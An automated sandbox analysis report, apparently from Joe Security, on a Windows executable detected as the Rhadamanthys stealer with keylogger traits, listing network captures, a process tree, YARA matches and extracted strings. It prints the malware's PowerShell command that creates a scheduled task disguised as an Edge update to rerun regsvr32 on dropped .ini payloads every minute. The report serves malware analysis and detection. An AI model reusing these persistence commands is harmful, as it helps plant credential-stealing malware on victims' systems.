2024-10-05 12:34:19 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702651" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedi

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	57552	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:34:19 UTC	192	OUT	GET /rules/rule702650v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:34:19 UTC	563	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:34:19 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEA1B544" x-ms-request-id: 04c4786e-501e-0064-028c-151f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123419Z-15767c5fc552g4w83buhsr3htc0000000e2g000000007k8c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:34:19 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 36 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4d 65 64 69 61 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4d 65 64 69 61 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702650" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Media" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenMedia" S="Medium" /> <F T="2">

Target ID:	0
Start time:	08:32:54
Start date:	05/10/2024
Path:	C:\Users\user\Desktop\81zBpBAWwc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\81zBpBAWwc.exe"
Imagebase:	0x7ff6996c0000
File size:	2'322'503 bytes
MD5 hash:	8837DF25AABC4FAD85E851ACA192F714
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:32:54
Start date:	05/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{004C0880-8C4C-4CC0-CC40-C80CC800C4C4}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:32:54
Start date:	05/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:32:59
Start date:	05/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini
Imagebase:	0x7ff6830e0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000003.00000002.1747979036.000000001BDA1000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000003.00000003.1735435044.000000001C680000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000003.00000003.1735195226.000000001C3A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000003.00000003.1732715826.000000001B790000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:33:02
Start date:	05/10/2024
Path:	C:\Windows\System32\OpenWith.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\openwith.exe"
Imagebase:	0x7ff713d60000
File size:	123'984 bytes
MD5 hash:	E4A834784FA08C17D47A1E72429C5109
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1858918260.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1872756258.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1838129032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1860404032.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1848367747.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1864029392.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1820263145.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1844556462.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1830217382.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1825939380.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1874774148.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1877691935.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1833111481.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1850439856.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1871687520.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1822995618.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1839488162.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1876940522.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000003.1745138145.00000149EA6F0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1852328722.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.2023536799.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1843708658.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1837526724.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1908667751.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1844059304.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1843341449.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.2037272936.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1874529158.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000004.00000003.1744894909.00000149EA410000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1840606816.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1846437877.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1873686601.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1855539140.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1875551874.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1836105614.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1849189930.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1835809635.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1820263145.00000149EABC1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1862556714.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1842766373.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1895556015.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1850036443.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1846011615.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1869033684.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1834401410.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1869983996.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1864418183.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1900087266.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1841618473.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1847727226.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1841102498.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1827293945.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1743171217.00000149E7FE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1870384738.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1854099505.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1869304089.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1867316447.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1834870839.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1866723582.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1847055049.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1825117026.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1853395898.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1868087667.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1824744647.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1850823165.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1895202612.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1868687963.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1839012082.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1851414734.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.2025877192.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1833649423.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1863393703.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1840151430.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1851882644.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1845622274.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1865585143.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1836791970.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 00000004.00000003.1835346077.00000149EACBD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:33:03
Start date:	05/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/ACKq.ini
Imagebase:	0x7ff6830e0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:33:28
Start date:	05/10/2024
Path:	C:\Program Files\Windows Media Player\wmpnscfg.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Media Player\wmpnscfg.exe"
Imagebase:	0x7ff7d6ad0000
File size:	71'168 bytes
MD5 hash:	F912FF78DE347834EA56CEB0E12F80EC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	08:33:31
Start date:	05/10/2024
Path:	C:\Windows\System32\dllhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\dllhost.exe"
Imagebase:	0x7ff70f330000
File size:	21'312 bytes
MD5 hash:	08EB78E5BE019DF044C26B14703BD1FA
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	08:33:36
Start date:	05/10/2024
Path:	C:\Windows\System32\rekeywiz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rekeywiz.exe"
Imagebase:	0x7ff6d1240000
File size:	122'880 bytes
MD5 hash:	A24EFFD38DDC2FFAB4F0592CA2CC585E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	08:33:39
Start date:	05/10/2024
Path:	C:\Windows\System32\rekeywiz.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rekeywiz.exe"
Imagebase:	0x7ff6d1240000
File size:	122'880 bytes
MD5 hash:	A24EFFD38DDC2FFAB4F0592CA2CC585E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:33:39
Start date:	05/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{88C88888-CCCC-4CC8-CCCC-C8CCC8888000}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries)"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:33:39
Start date:	05/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	08:33:43
Start date:	05/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.EXE /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini
Imagebase:	0x7ff6830e0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	08:33:52
Start date:	05/10/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	"regsvr32" /s /i:INSTALL C:\Users\user\AppData/Roaming/oc82.ini
Imagebase:	0x7ff6830e0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	46.1%
Total number of Nodes:	879
Total number of Limit Nodes:	23

Executed Functions

Function 00007FF69971B630 Relevance: 113.7, APIs: 51, Strings: 12, Instructions: 3418COMMON

Download Yara Rule

APIs

FreeEnvironmentStringsW.KERNEL32 ref: 00007FF69971B7FB
memcpy.MSVCRT ref: 00007FF69971C246
CloseHandle.KERNEL32 ref: 00007FF69971C447
SetLastError.KERNEL32 ref: 00007FF69971C74A
CloseHandle.KERNEL32 ref: 00007FF69971F33F
CloseHandle.KERNEL32 ref: 00007FF69971F381
CloseHandle.KERNEL32 ref: 00007FF69971F3AF
CloseHandle.KERNEL32 ref: 00007FF69971F3C4

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789Time went backwards, xrefs: 00007FF69971B635
assertion failed: self.height > 0, xrefs: 00007FF69971F1C4
program path has no file name, xrefs: 00007FF69971F990
0123456789ABCDEFxxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxxUnexpected format character, xrefs: 00007FF69971B631, 00007FF69971F941
assertion failed: is_code_point_boundary(self, new_len), xrefs: 00007FF69971C577, 00007FF69971D312
PATHlibrary\std\src\sys_common\process.rs, xrefs: 00007FF69971E1C0
#$*+-./:?@\_cmd.exe /e:ON /v:OFF /d /c ", xrefs: 00007FF69971D7F5
\?\\, xrefs: 00007FF69971C0D8
.exeprogram not found, xrefs: 00007FF69971C25F
exe\\.\NULexit code: , xrefs: 00007FF69971D341, 00007FF69971DBBB, 00007FF69971DD9F, 00007FF69971E05C, 00007FF69971E2B7
]?\\, xrefs: 00007FF69971C0E0
